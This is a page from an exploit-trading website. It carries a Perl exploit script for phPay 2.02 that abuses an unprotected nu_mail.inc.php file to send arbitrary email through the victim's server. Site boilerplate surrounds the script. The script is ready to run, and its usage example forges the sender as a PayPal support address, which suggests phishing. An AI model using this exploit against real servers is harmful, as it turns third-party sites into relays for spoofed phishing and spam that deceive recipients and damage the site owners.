0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
phPay <= 2.02 (nu_mail.inc.php) Remote mail() Injection Exploit
=============================================================== phPay <= 2.02 (nu_mail.inc.php) Remote mail() Injection Exploit =============================================================== #!/usr/bin/perl ##################### # Script: phPay v2.02 http://phpay.de/ # Vuln File: nu_mail.inc.php # Vulnerability: mail() Injection # Vuln Code: # <?php # if (ereg("nu_mail.inc.php", $SCRIPT_NAME)) header("Location:./index.html"); # elseif (ereg("nu_mail.inc.php", $_SERVER['SCRIPT_NAME'])) header("Location:./index.html"); # $mail_text="$mail_2a\n\n"; # ... # That *should* prevent direct access to the vulnerable file, but they didnt die()/exit()'ed # so, pwnt. You need register globals enabled to be able of exploiting this issue. # ##################### use LWP::UserAgent; use URI::URL; print "\n[*] phPay v2.02 nu_mail.inc.php mail() Injection\n[*] exploit&advisory: beford <xbefordx gmail com>\n"; if (scalar(@ARGV)<6) { print "\tUsage:\t./own.pl <host> <path> <email-to> <email-subject> <email-message> <email-from> [headers]\n"; print "\t<host> : orly\n"; print "\t<path> : folder where phpay is installed /phpay/ /phpayv2.02/ ..\n"; print "\t<email-to> <email-subject> <email-message> <email-from> : duh\n"; print "\t[headers] : optional extra headers for mail \"%0AContent-type: text/html%0A%0A\"\n\n"; print "\t./own.pl http://www.vuln.es /phpayv2.02/ x\@mail.co h4x \"hack\" support\@paypal.com \n\n"; exit; } $host = shift @ARGV; $path = shift @ARGV; $to = shift @ARGV; $subject = shift @ARGV; $message = shift @ARGV; $from = shift @ARGV; $headers = shift @ARGV; my $url = URI::URL->new($full); $full = $url->as_string; $full = "${host}${path}nu_mail.inc.php?mail_text2=${message}&user_row[]=&user_row[5]=${to}&nu_mail_1=${subject}&shop_mail=${from}${headers}"; print "[*] exploiting $host\n"; $ua = LWP::UserAgent->new; $req = HTTP::Request->new('GET',"$full"); $res = $ua->request($req); print "\t[*] mail sent\n" if $res->is_success; # 0day.today [2024-09-28] #